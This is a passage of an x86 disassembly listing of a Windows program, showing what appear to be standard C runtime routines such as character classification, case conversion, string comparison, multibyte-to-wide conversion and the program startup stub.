eax, [ebp+var_14] movsx ecx, byte ptr [eax] cmp ecx, 61h jl short loc_42171A mov edx, [ebp+var_14] movsx eax, byte ptr [edx] cmp eax, 7Ah jg short loc_42171A mov ecx, [ebp+var_14] mov dl, [ecx] add dl, 0E0h mov eax, [ebp+var_14] mov [eax], dl loc_42171A: ; CODE XREF: sub_421620+E0j ; sub_421620+EBj jmp short loc_4216E4 ; --------------------------------------------------------------------------- loc_42171C: ; CODE XREF: sub_421620+D5j mov eax, [ebp+arg_0] jmp loc_4217DB ; --------------------------------------------------------------------------- loc_421724: ; CODE XREF: sub_421620+9Dj push 1 push 0 push 0 push 0 push 0FFFFFFFFh mov ecx, [ebp+arg_0] push ecx push 200h mov edx, ds:dword_4F33F8 push edx call sub_42EC50 add esp, 20h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_421751 jmp short loc_4217AD ; --------------------------------------------------------------------------- loc_421751: ; CODE XREF: sub_421620+12Dj push 62h push offset dword_43CDC0 push 2 mov eax, [ebp+var_4] push eax call sub_41BE70 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_421771 jmp short loc_4217AD ; --------------------------------------------------------------------------- loc_421771: ; CODE XREF: sub_421620+14Dj push 1 push 0 mov ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] push edx push 0FFFFFFFFh mov eax, [ebp+arg_0] push eax push 200h mov ecx, ds:dword_4F33F8 push ecx call sub_42EC50 add esp, 20h test eax, eax jnz short loc_42179D jmp short loc_4217AD ; --------------------------------------------------------------------------- loc_42179D: ; CODE XREF: sub_421620+179j mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_0] push eax call sub_41F620 add esp, 8 loc_4217AD: ; CODE XREF: sub_421620+12Fj ; sub_421620+14Fj ... cmp [ebp+var_C], 0 jz short loc_4217BF push 13h call sub_423320 add esp, 4 jmp short loc_4217CA ; --------------------------------------------------------------------------- loc_4217BF: ; CODE XREF: sub_421620+191j push offset dword_4F37C8 call ds:dword_4F5484 ; InterlockedDecrement loc_4217CA: ; CODE XREF: sub_421620+19Dj push 2 mov ecx, [ebp+var_8] push ecx call sub_41CA10 add esp, 8 mov eax, [ebp+arg_0] loc_4217DB: ; CODE XREF: sub_421620+58j ; sub_421620+FFj mov esp, ebp pop ebp retn sub_421620 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_453DF0, 1 jle short loc_421803 push 103h mov eax, [ebp+8] push eax call sub_427040 add esp, 8 mov [ebp-4], eax jmp short loc_42181A ; --------------------------------------------------------------------------- loc_421803: ; CODE XREF: _0:004217EBj mov ecx, [ebp+8] mov edx, ds:off_453BE4 xor eax, eax mov ax, [edx+ecx*2] and eax, 103h mov [ebp-4], eax loc_42181A: ; CODE XREF: _0:00421801j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_453DF0, 1 jle short loc_421850 push 1 mov eax, [ebp+8] push eax call sub_427040 add esp, 8 mov [ebp-4], eax jmp short loc_421865 ; --------------------------------------------------------------------------- loc_421850: ; CODE XREF: _0:0042183Bj mov ecx, [ebp+8] mov edx, ds:off_453BE4 xor eax, eax mov ax, [edx+ecx*2] and eax, 1 mov [ebp-4], eax loc_421865: ; CODE XREF: _0:0042184Ej mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_453DF0, 1 jle short loc_421890 push 2 mov eax, [ebp+8] push eax call sub_427040 add esp, 8 mov [ebp-4], eax jmp short loc_4218A5 ; --------------------------------------------------------------------------- loc_421890: ; CODE XREF: _0:0042187Bj mov ecx, [ebp+8] mov edx, ds:off_453BE4 xor eax, eax mov ax, [edx+ecx*2] and eax, 2 mov [ebp-4], eax loc_4218A5: ; CODE XREF: _0:0042188Ej mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4218B0 proc near ; CODE XREF: sub_418428+1A3p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_453DF0, 1 jle short loc_4218D0 push 4 mov eax, [ebp+arg_0] push eax call sub_427040 add esp, 8 mov [ebp+var_4], eax jmp short loc_4218E5 ; --------------------------------------------------------------------------- loc_4218D0: ; CODE XREF: sub_4218B0+Bj mov ecx, [ebp+arg_0] mov edx, ds:off_453BE4 xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_4], eax loc_4218E5: ; CODE XREF: sub_4218B0+1Ej mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4218B0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_453DF0, 1 jle short loc_421913 push 80h mov eax, [ebp+8] push eax call sub_427040 add esp, 8 mov [ebp-4], eax jmp short loc_42192A ; --------------------------------------------------------------------------- loc_421913: ; CODE XREF: _0:004218FBj mov ecx, [ebp+8] mov edx, ds:off_453BE4 xor eax, eax mov ax, [edx+ecx*2] and eax, 80h mov [ebp-4], eax loc_42192A: ; CODE XREF: _0:00421911j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421940 proc near ; CODE XREF: sub_429E90+105p ; sub_42B350+24p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_453DF0, 1 jle short loc_421960 push 8 mov eax, [ebp+arg_0] push eax call sub_427040 add esp, 8 mov [ebp+var_4], eax jmp short loc_421975 ; --------------------------------------------------------------------------- loc_421960: ; CODE XREF: sub_421940+Bj mov ecx, [ebp+arg_0] mov edx, ds:off_453BE4 xor eax, eax mov ax, [edx+ecx*2] and eax, 8 mov [ebp+var_4], eax loc_421975: ; CODE XREF: sub_421940+1Ej mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_421940 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_453DF0, 1 jle short loc_4219A0 push 10h mov eax, [ebp+8] push eax call sub_427040 add esp, 8 mov [ebp-4], eax jmp short loc_4219B5 ; --------------------------------------------------------------------------- loc_4219A0: ; CODE XREF: _0:0042198Bj mov ecx, [ebp+8] mov edx, ds:off_453BE4 xor eax, eax mov ax, [edx+ecx*2] and eax, 10h mov [ebp-4], eax loc_4219B5: ; CODE XREF: _0:0042199Ej mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_453DF0, 1 jle short loc_4219E3 push 107h mov eax, [ebp+8] push eax call sub_427040 add esp, 8 mov [ebp-4], eax jmp short loc_4219FA ; --------------------------------------------------------------------------- loc_4219E3: ; CODE XREF: _0:004219CBj mov ecx, [ebp+8] mov edx, ds:off_453BE4 xor eax, eax mov ax, [edx+ecx*2] and eax, 107h mov [ebp-4], eax loc_4219FA: ; CODE XREF: _0:004219E1j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_453DF0, 1 jle short loc_421A33 push 157h mov eax, [ebp+8] push eax call sub_427040 add esp, 8 mov [ebp-4], eax jmp short loc_421A4A ; --------------------------------------------------------------------------- loc_421A33: ; CODE XREF: _0:00421A1Bj mov ecx, [ebp+8] mov edx, ds:off_453BE4 xor eax, eax mov ax, [edx+ecx*2] and eax, 157h mov [ebp-4], eax loc_421A4A: ; CODE XREF: _0:00421A31j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_453DF0, 1 jle short loc_421A83 push 117h mov eax, [ebp+8] push eax call sub_427040 add esp, 8 mov [ebp-4], eax jmp short loc_421A9A ; --------------------------------------------------------------------------- loc_421A83: ; CODE XREF: _0:00421A6Bj mov ecx, [ebp+8] mov edx, ds:off_453BE4 xor eax, eax mov ax, [edx+ecx*2] and eax, 117h mov [ebp-4], eax loc_421A9A: ; CODE XREF: _0:00421A81j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_453DF0, 1 jle short loc_421AD0 push 20h mov eax, [ebp+8] push eax call sub_427040 add esp, 8 mov [ebp-4], eax jmp short loc_421AE5 ; --------------------------------------------------------------------------- loc_421AD0: ; CODE XREF: _0:00421ABBj mov ecx, [ebp+8] mov edx, ds:off_453BE4 xor eax, eax mov ax, [edx+ecx*2] and eax, 20h mov [ebp-4], eax loc_421AE5: ; CODE XREF: _0:00421ACEj mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword ptr [ebp+8], 80h sbb eax, eax neg eax pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] and eax, 7Fh pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 cmp ds:dword_453DF0, 1 jle short loc_421B35 push 103h mov eax, [ebp+8] push eax call sub_427040 add esp, 8 mov [ebp-4], eax jmp short loc_421B4C ; --------------------------------------------------------------------------- loc_421B35: ; CODE XREF: _0:00421B1Dj mov ecx, [ebp+8] mov edx, ds:off_453BE4 xor eax, eax mov ax, [edx+ecx*2] and eax, 103h mov [ebp-4], eax loc_421B4C: ; CODE XREF: _0:00421B33j cmp dword ptr [ebp-4], 0 jnz short loc_421B61 cmp dword ptr [ebp+8], 5Fh jz short loc_421B61 mov dword ptr [ebp-8], 0 jmp short loc_421B68 ; --------------------------------------------------------------------------- loc_421B61: ; CODE XREF: _0:00421B50j _0:00421B56j mov dword ptr [ebp-8], 1 loc_421B68: ; CODE XREF: _0:00421B5Fj mov eax, [ebp-8] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 cmp ds:dword_453DF0, 1 jle short loc_421B95 push 107h mov eax, [ebp+8] push eax call sub_427040 add esp, 8 mov [ebp-4], eax jmp short loc_421BAC ; --------------------------------------------------------------------------- loc_421B95: ; CODE XREF: _0:00421B7Dj mov ecx, [ebp+8] mov edx, ds:off_453BE4 xor eax, eax mov ax, [edx+ecx*2] and eax, 107h mov [ebp-4], eax loc_421BAC: ; CODE XREF: _0:00421B93j cmp dword ptr [ebp-4], 0 jnz short loc_421BC1 cmp dword ptr [ebp+8], 5Fh jz short loc_421BC1 mov dword ptr [ebp-8], 0 jmp short loc_421BC8 ; --------------------------------------------------------------------------- loc_421BC1: ; CODE XREF: _0:00421BB0j _0:00421BB6j mov dword ptr [ebp-8], 1 loc_421BC8: ; CODE XREF: _0:00421BBFj mov eax, [ebp-8] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_421BD0 proc near ; CODE XREF: sub_418827+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_421C1C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_421C1D test eax, 1 jz short loc_421BFD mov cl, [esi] cmp cl, [edi] jnz short loc_421C4A inc esi inc edi dec eax jz short loc_421C1A loc_421BFD: ; CODE XREF: sub_421BD0+20j ; sub_421BD0+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_421C4A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_421C4A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_421BFD loc_421C1A: ; CODE XREF: sub_421BD0+2Bj ; sub_421BD0+84j pop edi pop esi locret_421C1C: ; CODE XREF: sub_421BD0+6j retn ; --------------------------------------------------------------------------- loc_421C1D: ; CODE XREF: sub_421BD0+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_421C52 repe cmpsd jz short loc_421C52 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_421C45 cmp ch, dh jnz short loc_421C45 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_421C45 cmp ch, dh loc_421C45: ; CODE XREF: sub_421BD0+63j ; sub_421BD0+67j ... mov eax, 0 loc_421C4A: ; CODE XREF: sub_421BD0+26j ; sub_421BD0+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_421C52: ; CODE XREF: sub_421BD0+55j ; sub_421BD0+59j test eax, eax jz short loc_421C1A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_421C45 dec eax jz short loc_421C79 cmp dh, ch jnz short loc_421C45 dec eax jz short loc_421C79 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_421C45 dec eax loc_421C79: ; CODE XREF: sub_421BD0+8Fj ; sub_421BD0+96j pop edi pop esi retn sub_421BD0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] add eax, 20h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421C90 proc near ; CODE XREF: sub_418B3E+6p ; sub_418B5C+48p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_4F33F8, 0 jnz short loc_421CB7 cmp [ebp+arg_0], 41h jl short loc_421CB2 cmp [ebp+arg_0], 5Ah jg short loc_421CB2 mov eax, [ebp+arg_0] add eax, 20h mov [ebp+arg_0], eax loc_421CB2: ; CODE XREF: sub_421C90+11j ; sub_421C90+17j mov eax, [ebp+arg_0] jmp short loc_421D1F ; --------------------------------------------------------------------------- loc_421CB7: ; CODE XREF: sub_421C90+Bj push offset dword_4F37C8 call ds:dword_4F5488 ; InterlockedIncrement cmp ds:dword_4F37C4, 0 jz short loc_421CE9 push offset dword_4F37C8 call ds:dword_4F5484 ; InterlockedDecrement push 13h call sub_423280 add esp, 4 mov [ebp+var_4], 1 jmp short loc_421CF0 ; --------------------------------------------------------------------------- loc_421CE9: ; CODE XREF: sub_421C90+39j mov [ebp+var_4], 0 loc_421CF0: ; CODE XREF: sub_421C90+57j mov ecx, [ebp+arg_0] push ecx call sub_421D30 add esp, 4 mov [ebp+arg_0], eax cmp [ebp+var_4], 0 jz short loc_421D11 push 13h call sub_423320 add esp, 4 jmp short loc_421D1C ; --------------------------------------------------------------------------- loc_421D11: ; CODE XREF: sub_421C90+73j push offset dword_4F37C8 call ds:dword_4F5484 ; InterlockedDecrement loc_421D1C: ; CODE XREF: sub_421C90+7Fj mov eax, [ebp+arg_0] loc_421D1F: ; CODE XREF: sub_421C90+25j mov esp, ebp pop ebp retn sub_421C90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D30 proc near ; CODE XREF: sub_420F10+94p ; sub_420F10+9Ep ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h cmp ds:dword_4F33F8, 0 jnz short loc_421D5C cmp [ebp+arg_0], 41h jl short loc_421D54 cmp [ebp+arg_0], 5Ah jg short loc_421D54 mov eax, [ebp+arg_0] add eax, 20h mov [ebp+arg_0], eax loc_421D54: ; CODE XREF: sub_421D30+13j ; sub_421D30+19j mov eax, [ebp+arg_0] jmp loc_421E57 ; --------------------------------------------------------------------------- loc_421D5C: ; CODE XREF: sub_421D30+Dj cmp [ebp+arg_0], 100h jge short loc_421DA3 cmp ds:dword_453DF0, 1 jle short loc_421D81 push 1 mov ecx, [ebp+arg_0] push ecx call sub_427040 add esp, 8 mov [ebp+var_10], eax jmp short loc_421D95 ; --------------------------------------------------------------------------- loc_421D81: ; CODE XREF: sub_421D30+3Cj mov edx, [ebp+arg_0] mov eax, ds:off_453BE4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 1 mov [ebp+var_10], ecx loc_421D95: ; CODE XREF: sub_421D30+4Fj cmp [ebp+var_10], 0 jnz short loc_421DA3 mov eax, [ebp+arg_0] jmp loc_421E57 ; --------------------------------------------------------------------------- loc_421DA3: ; CODE XREF: sub_421D30+33j ; sub_421D30+69j mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh and edx, 0FFh mov eax, ds:off_453BE4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_421DEC mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh mov [ebp+var_8], dl mov al, byte ptr [ebp+arg_0] mov [ebp+var_7], al mov [ebp+var_6], 0 mov [ebp+var_4], 2 jmp short loc_421DFD ; --------------------------------------------------------------------------- loc_421DEC: ; CODE XREF: sub_421D30+98j mov cl, byte ptr [ebp+arg_0] mov [ebp+var_8], cl mov [ebp+var_7], 0 mov [ebp+var_4], 1 loc_421DFD: ; CODE XREF: sub_421D30+BAj push 1 push 0 push 3 lea edx, [ebp+var_C] push edx mov eax, [ebp+var_4] push eax lea ecx, [ebp+var_8] push ecx push 100h mov edx, ds:dword_4F33F8 push edx call sub_42EC50 add esp, 20h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_421E31 mov eax, [ebp+arg_0] jmp short loc_421E57 ; --------------------------------------------------------------------------- loc_421E31: ; CODE XREF: sub_421D30+FAj cmp [ebp+var_4], 1 jnz short loc_421E41 mov eax, [ebp+var_C] and eax, 0FFh jmp short loc_421E57 ; --------------------------------------------------------------------------- loc_421E41: ; CODE XREF: sub_421D30+105j mov eax, [ebp+var_C] and eax, 0FFh mov ecx, [ebp+var_C+1] and ecx, 0FFh shl ecx, 8 or eax, ecx loc_421E57: ; CODE XREF: sub_421D30+27j ; sub_421D30+6Ej ... mov esp, ebp pop ebp retn sub_421D30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421E60 proc near ; CODE XREF: sub_419229+9Cp ; sub_41A20B+55p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_421E6A: ; CODE XREF: sub_421E60+1Fj mov ecx, [ebp+var_4] xor edx, edx mov dx, [ecx] mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax test edx, edx jz short loc_421E81 jmp short loc_421E6A ; --------------------------------------------------------------------------- loc_421E81: ; CODE XREF: sub_421E60+1Dj mov eax, [ebp+var_4] sub eax, [ebp+arg_0] sar eax, 1 sub eax, 1 mov esp, ebp pop ebp retn sub_421E60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421E90 proc near ; CODE XREF: sub_419229+6Ep ; sub_419229+7Fp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push offset dword_4F37C8 call ds:dword_4F5488 ; InterlockedIncrement cmp ds:dword_4F37C4, 0 jz short loc_421EC8 push offset dword_4F37C8 call ds:dword_4F5484 ; InterlockedDecrement push 13h call sub_423280 add esp, 4 mov [ebp+var_4], 1 jmp short loc_421ECF ; --------------------------------------------------------------------------- loc_421EC8: ; CODE XREF: sub_421E90+18j mov [ebp+var_4], 0 loc_421ECF: ; CODE XREF: sub_421E90+36j mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_421F10 add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_4], 0 jz short loc_421EF8 push 13h call sub_423320 add esp, 4 jmp short loc_421F03 ; --------------------------------------------------------------------------- loc_421EF8: ; CODE XREF: sub_421E90+5Aj push offset dword_4F37C8 call ds:dword_4F5484 ; InterlockedDecrement loc_421F03: ; CODE XREF: sub_421E90+66j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_421E90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F10 proc near ; CODE XREF: sub_421E90+4Bp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_4], 0 cmp [ebp+arg_0], 0 jz short loc_421F33 cmp [ebp+arg_8], 0 jnz short loc_421F33 xor eax, eax jmp loc_4220F4 ; --------------------------------------------------------------------------- loc_421F33: ; CODE XREF: sub_421F10+14j ; sub_421F10+1Aj ... cmp [ebp+arg_4], 0 jnz short loc_421F57 push offset dword_43CDD8 push 0 push 55h push offset dword_43CDCC push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_421F57 int 3 ; Trap to Debugger loc_421F57: ; CODE XREF: sub_421F10+27j ; sub_421F10+44j xor eax, eax test eax, eax jnz short loc_421F33 cmp [ebp+arg_0], 0 jz loc_4220A6 cmp ds:dword_4F33F8, 0 jnz short loc_421FB9 loc_421F70: ; CODE XREF: sub_421F10+9Fj mov ecx, [ebp+var_4] cmp ecx, [ebp+arg_8] jnb short loc_421FB1 mov edx, [ebp+arg_4] add edx, [ebp+var_4] movzx ax, byte ptr [edx] mov ecx, [ebp+arg_0] mov [ecx], ax mov edx, [ebp+arg_4] add edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_421F9D mov eax, [ebp+var_4] jmp loc_4220F4 ; --------------------------------------------------------------------------- loc_421F9D: ; CODE XREF: sub_421F10+83j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_0] add edx, 2 mov [ebp+arg_0], edx jmp short loc_421F70 ; --------------------------------------------------------------------------- loc_421FB1: ; CODE XREF: sub_421F10+66j mov eax, [ebp+var_4] jmp loc_4220F4 ; --------------------------------------------------------------------------- loc_421FB9: ; CODE XREF: sub_421F10+5Ej mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] push ecx push 0FFFFFFFFh mov edx, [ebp+arg_4] push edx push 9 mov eax, ds:dword_4F3408 push eax call ds:dword_4F5454 ; MultiByteToWideChar mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_421FE9 mov eax, [ebp+var_4] sub eax, 1 jmp loc_4220F4 ; --------------------------------------------------------------------------- loc_421FE9: ; CODE XREF: sub_421F10+CCj call ds:dword_4F5360 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_422007 call sub_429A90 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_4220F4 ; --------------------------------------------------------------------------- loc_422007: ; CODE XREF: sub_421F10+E2j mov ecx, [ebp+arg_8] mov [ebp+var_10], ecx mov edx, [ebp+arg_4] mov [ebp+var_8], edx jmp short loc_42201E ; --------------------------------------------------------------------------- loc_422015: ; CODE XREF: sub_421F10:loc_42205Fj mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_42201E: ; CODE XREF: sub_421F10+103j mov ecx, [ebp+var_10] mov edx, [ebp+var_10] sub edx, 1 mov [ebp+var_10], edx test ecx, ecx jz short loc_422061 mov eax, [ebp+var_8] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_422061 mov edx, [ebp+var_8] xor eax, eax mov al, [edx] mov ecx, ds:off_453BE4 xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_42205F mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_42205F: ; CODE XREF: sub_421F10+144j jmp short loc_422015 ; --------------------------------------------------------------------------- loc_422061: ; CODE XREF: sub_421F10+11Cj ; sub_421F10+127j mov ecx, [ebp+var_8] sub ecx, [ebp+arg_4] mov [ebp+var_C], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_4] push edx push 1 mov eax, ds:dword_4F3408 push eax call ds:dword_4F5454 ; MultiByteToWideChar mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4220A1 call sub_429A90 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_4220F4 ; --------------------------------------------------------------------------- loc_4220A1: ; CODE XREF: sub_421F10+17Fj mov eax, [ebp+var_4] jmp short loc_4220F4 ; --------------------------------------------------------------------------- loc_4220A6: ; CODE XREF: sub_421F10+51j cmp ds:dword_4F33F8, 0 jnz short loc_4220BD mov ecx, [ebp+arg_4] push ecx call sub_41BC70 add esp, 4 jmp short loc_4220F4 ; --------------------------------------------------------------------------- loc_4220BD: ; CODE XREF: sub_421F10+19Dj push 0 push 0 push 0FFFFFFFFh mov edx, [ebp+arg_4] push edx push 9 mov eax, ds:dword_4F3408 push eax call ds:dword_4F5454 ; MultiByteToWideChar mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4220EE call sub_429A90 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_4220F4 ; --------------------------------------------------------------------------- loc_4220EE: ; CODE XREF: sub_421F10+1CCj mov eax, [ebp+var_4] sub eax, 1 loc_4220F4: ; CODE XREF: sub_421F10+1Ej ; sub_421F10+88j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_421F10 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43CDE8 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFA4h push ebx push esi push edi mov [ebp-18h], esp call ds:dword_4F5494 ; GetVersion mov ds:dword_4F32F8, eax mov eax, ds:dword_4F32F8 shr eax, 8 and eax, 0FFh mov ds:dword_4F3304, eax mov ecx, ds:dword_4F32F8 and ecx, 0FFh mov ds:dword_4F3300, ecx mov edx, ds:dword_4F3300 shl edx, 8 add edx, ds:dword_4F3304 mov ds:dword_4F32FC, edx mov eax, ds:dword_4F32F8 shr eax, 10h and eax, 0FFFFh mov ds:dword_4F32F8, eax push 1 call sub_426EC0 add esp, 4 test eax, eax jnz short loc_422194 push 1Ch call sub_4222A0 add esp, 4 loc_422194: ; CODE XREF: _0:00422188j call sub_428E00 test eax, eax jnz short loc_4221A7 push 10h call sub_4222A0 add esp, 4 loc_4221A7: ; CODE XREF: _0:0042219Bj mov dword ptr [ebp-4], 0 call sub_42FB10 call ds:dword_4F5490 ; GetCommandLineA mov ds:dword_4F4A24, eax call sub_42F8F0 mov ds:dword_4F3360, eax call sub_42F3E0 call sub_42F290 call sub_41E860 mov dword ptr [ebp-30h], 0 lea ecx, [ebp-5Ch] push ecx call ds:dword_4F548C ; GetStartupInfoA call sub_42F1D0 mov [ebp-64h], eax mov edx, [ebp-30h] and edx, 1 test edx, edx jz short loc_422207 mov eax, [ebp-2Ch] and eax, 0FFFFh mov [ebp-6Ch], eax jmp short loc_42220E ; --------------------------------------------------------------------------- loc_422207: ; CODE XREF: _0:004221F8j mov dword ptr [ebp-6Ch], 0Ah loc_42220E: ; CODE XREF: _0:00422205j mov ecx, [ebp-6Ch] push ecx mov edx, [ebp-64h] push edx push 0 push 0 call ds:off_4F5370 push eax call sub_401404 mov [ebp-60h], eax mov eax, [ebp-60h] push eax call sub_41E8A0 mov ecx, [ebp-14h] mov edx, [ecx] mov eax, [edx] mov [ebp-68h], eax mov ecx, [ebp-14h] push ecx mov edx, [ebp-68h] push edx call sub_42EFB0 add esp, 8 retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov eax, [ebp-68h] push eax call sub_41E8C0 mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422270 proc near ; CODE XREF: sub_420D30+2Cp ; sub_4222D0+8Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp ds:dword_4F3368, 1 jnz short loc_422281 call sub_42FEE0 loc_422281: ; CODE XREF: sub_422270+Aj mov eax, [ebp+arg_0] push eax call sub_42FF30 add esp, 4 push 0FFh call ds:off_451840 add esp, 4 pop ebp retn sub_422270 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222A0 proc near ; CODE XREF: _0:0042218Cp _0:0042219Fp arg_0 = dword ptr 8 push ebp mov ebp, esp cmp ds:dword_4F3368, 1 jnz short loc_4222B1 call sub_42FEE0 loc_4222B1: ; CODE XREF: sub_4222A0+Aj mov eax, [ebp+arg_0] push eax call sub_42FF30 add esp, 4 push 0FFh call ds:off_4F5338 pop ebp retn sub_4222A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222D0 proc near ; DATA XREF: _2:0043F024o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp ds:dword_4F4A20, 0 jnz short loc_4222E9 mov ds:dword_4F4A20, 200h jmp short loc_4222FC ; --------------------------------------------------------------------------- loc_4222E9: ; CODE XREF: sub_4222D0+Bj cmp ds:dword_4F4A20, 14h jge short loc_4222FC mov ds:dword_4F4A20, 14h loc_4222FC: ; CODE XREF: sub_4222D0+17j ; sub_4222D0+20j push 83h push offset dword_43CDF4 push 2 push 4 mov eax, ds:dword_4F4A20 push eax call sub_41C2D0 add esp, 14h mov ds:dword_4F3A14, eax cmp 